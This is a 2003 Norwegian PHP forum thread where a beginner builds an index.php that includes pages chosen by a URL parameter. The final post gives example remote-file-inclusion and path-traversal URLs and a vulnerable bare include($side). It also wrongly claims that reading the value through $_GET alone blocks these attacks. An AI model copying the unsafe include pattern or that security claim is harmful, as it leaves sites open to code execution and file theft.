Slartibartfast Skrevet 24. juli 2003 Skrevet 24. juli 2003 har ei side der eg vil ha kun index.php og so vert alt innhaldet sett inn ettersom du trykkjer på linkene.. prøvde med eit include script frå http://www.indexphp.com men dette vil ikkje virke.. (muleg eg gjer feil) men eg kan tenke meg noko slik: <?php include($ting);?> der innhaldet skal vere men so må eg få angitt den der variabelen då.. kan denne settast i href'en? godt mogleg eg er heilt på jordet.. men eg er relativt ny i php
Slartibartfast Skrevet 24. juli 2003 Forfatter Skrevet 24. juli 2003 vel.. har prøvd den med switch.. frå menyen: <a class="menylink" href="index.php?side=reglar">Reglar</a> frå include fila ( bruker include der innholdet skal vere): <?php switch ($side) { case "reglar": include("innhold/reglar.php"); break; default: include("innhold/forsiden.php"); } ?> sidene som skal inkluderast ligg i mappa innhold/ men trykkjer eg på linken hoppar den til default med ein gong.. noko som er feil?
Slartibartfast Skrevet 24. juli 2003 Forfatter Skrevet 24. juli 2003 øverst? over switch ($side) ? eller ein annan plass?
Slartibartfast Skrevet 25. juli 2003 Forfatter Skrevet 25. juli 2003 Warning: Failed opening '' for inclusion (include_path='.:/usr/share/pear') in /etc/httpd/ronde/index.php on line 22 kann dette ha noko med saken å gjere? Kva må eg gjera for at det skal verte fiksa? bruker no kun include($side) og so linkar eg til index.php?side=jalla.php nokon som kan hjelpe meg?
jtsorensen Skrevet 25. juli 2003 Skrevet 25. juli 2003 Kanskje dette kan hjelpe litt: http://php.senteret.net/index.php?side=switch
Slartibartfast Skrevet 26. juli 2003 Forfatter Skrevet 26. juli 2003 Har prøvd dette.. men enten går den rett til default eller så får eg same beskjeden..
hackinnen^ Skrevet 26. juli 2003 Skrevet 26. juli 2003 <?php switch($_GET["side"]) { case 'reglar': include "reglar.php"; break; default: include "default.php"; } ?>
jtsorensen Skrevet 26. juli 2003 Skrevet 26. juli 2003 Hvorfor bruke $_GET["side"], det fungerer jo uten...
Neo Skrevet 26. juli 2003 Skrevet 26. juli 2003 Hvorfor bruke $_GET["side"], det fungerer jo uten... Tror ikke det går uten hvis register_globals = off i php.ini - fila.
[kami] Skrevet 27. juli 2003 Skrevet 27. juli 2003 $_GET, $_POST og $COOKIE er den nye standarden og register_globals = off i den nyeste versionen av php. så det er lurt å være konsekvent fra begynnelsen av i scriptet på hva du mener (cookies,get,post)
Slartibartfast Skrevet 28. juli 2003 Forfatter Skrevet 28. juli 2003 Kan nokon forklare meg kvifor eg må ha dei og kva det betyr?
magikern Skrevet 28. juli 2003 Skrevet 28. juli 2003 Kan nokon forklare meg kvifor eg må ha dei og kva det betyr? hvis du har register_globals = on i php.ini og skriver include($page) så kan jeg gå til siden din og skrive http://ditt-domenet.com/?page=http://minsk...cript/virus.php og da kan jeg med det scriptet gjøre stort sett hva jeg vil på serveren din. en annen ting jeg også kan gjøre er http://ditt-domenet.com/?page=../../passordfil så jeg får vite alle dine hemmeligheter... derimot hvis du har register_globals = off i php.ini og skriver $page = $_GET['page']; øverst i scriptet ditt vil ikke disse tingene være mulig...
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå